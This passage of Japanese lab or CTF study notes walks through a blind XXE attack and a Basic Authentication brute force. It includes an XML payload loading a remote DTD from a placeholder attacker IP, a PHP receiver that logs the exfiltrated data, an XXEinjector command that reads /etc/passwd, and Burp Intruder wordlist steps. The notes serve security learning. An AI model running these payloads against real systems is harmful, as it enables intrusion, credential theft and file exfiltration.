error_log("\n\n" . base64_decode($_GET['content']));
}
?>
自分のマシンでPHPサーバーを立てる
php -S 0.0.0.0:8000
送信するxmlペイロード
- 読み取りたいファイルの内容を取得するために、PHPフィルターを使ってその内容をBase64エンコード
- 自分のサーバーにリクエストを送信させるような外部エンティティを定義する
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
<!ENTITY % remote SYSTEM "http://OUR_IP:8000/xxe.dtd">
%remote;
%oob;
]>
<root>&content;</root>
- 例えば、対象ファイルの中身が XXE_SAMPLE_DATA
%file;
には Base64 エンコードされた WFhFX1NBTVBMRV9EQVRB が入る- XMLが外部エンティティ
%oob;
を参照した時、ターゲットサーバーは次のようなリクエストを送る
http://OUR_IP:8000/?content=WFhFX1NBTVBMRV9EQVRB
- これを受け取ったら、
WFhFX1NBTVBMRV9EQVRB
をBase64デコードすることで、ファイルの内容を取得できる
自動化されたOOBデータ抽出
- XXEinjectorというツールがある
git clone https://github.com/enjoiz/XXEinjector.git
HTTPリクエストの準備
- Burp SuiteなどでキャプチャしたHTTPリクエストをファイルに保存する
- XMLデータの完全な内容は書かず、最初の1行だけ記述し、そのすぐ下に XXEINJECT と書いておく必要がある
- ツールがXMLの挿入ポイントを特定するためのマーカーとして必要
POST /blind/submitDetails.php HTTP/1.1
Host: 10.129.201.94
Content-Length: 169
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://10.129.201.94
Referer: http://10.129.201.94/blind/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
<?xml version="1.0" encoding="UTF-8"?>
XXEINJECT
攻撃の実行
ruby XXEinjector.rb --host=[tun0 IP] --httpport=8000 --file=/tmp/xxe.req --path=/etc/passwd --oob=http --phpfilter
...SNIP...
[+] Sending request with malicious XML.
[+] Responding with XML for: /etc/passwd
[+] Retrieved data:
各オプションの意味
- --host:自分のマシンのIP(ターゲットが接続してくる先)
- --httpport:自分のHTTPサーバーのポート番号
- --file:先ほど保存したリクエストファイル
- --path:ターゲットから読みたいファイルパス
- --oob=http:OOB抽出をHTTPで行う
- --phpfilter:PHPフィルターを使ってBase64エンコードさせる
ログファイルでの確認
- すべての抽出されたデータは、ツール内の Logs フォルダに保存される
cat Logs/10.129.201.94/etc/passwd.log
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...SNIP..
ベーシック認証へのブルートフォース
Linux・Windows共通のffufでもやってる
目的 : Basic Authentication を利用しているウェブサイトに対してブルートフォース攻撃、辞書攻撃を行い、ログイン資格情報を取得する。
Basic Authenticationはこんなやつ↓
-
ターゲットにアクセス
- http://enum.thm/labs/basic_auth/ にアクセスする。
-
Basic Authentication のリクエストを取得
- ポップアップが表示されるので、適当な ユーザー名とパスワード を入力し、ログインを試みる。
- Burp Suite を使用して、このリクエストをキャプチャする。
-
Burp Suite の Intruder にリクエストを送信
- キャプチャしたリクエストを 右クリック → "Send to Intruder" で Intruder に送る。
-
Authorization ヘッダーのデコード
- "Positions" タブ に移動し、Authorization ヘッダーの base64 エンコードされた認証情報 をデコードする(base64 decode)。
BurpでBase64デコードする手順
- "Positions" タブ に移動し、Authorization ヘッダーの base64 エンコードされた認証情報 をデコードする(base64 decode)。
-
パスワードリストを設定
- "Payloads" タブ に移動し、"Payload type" を "Simple list" に設定する。
- 使用するパスワードリストを選択
- AttackBox の場合:
- /usr/share/wordlists/SecLists/Passwords/Common-Credentials/500-worst-passwords.txt
-
ペイロードの処理ルールを追加
- ユーザー名とパスワードを一緒に特殊文字で囲む
- 例えば "admin:123456" の形式にする。
- base64 エンコード
- ユーザー名とパスワードを base64 エンコードし、Authorization ヘッダーに適用。
- "="(イコール)を削除
- base64 ではパディングに「=」が使用されるため、エンコードから文字「=」(等号)も削除する
- 「Payload encoding」の中に=を加える
上の設定を全て行ったときの画面
- ユーザー名とパスワードを一緒に特殊文字で囲む
-
攻撃の実行
- "Positions" タブ に戻り、"Start Attack" をクリック。
-
成功したレスポンスを確認
- ステータスコード 200 を確認する。
- ステータス 200 が返ってきたリクエストの Authorization ヘッダーをデコードすると、正しい資格情報(username:password)が判明する。
ステータスコードが200の、ログインできる認証情報を発見した画面
-
入手した資格情報でログイン
- 成功したユーザー名とパスワード を使用し、ウェブサイトにログインする。
- フラグが表示される。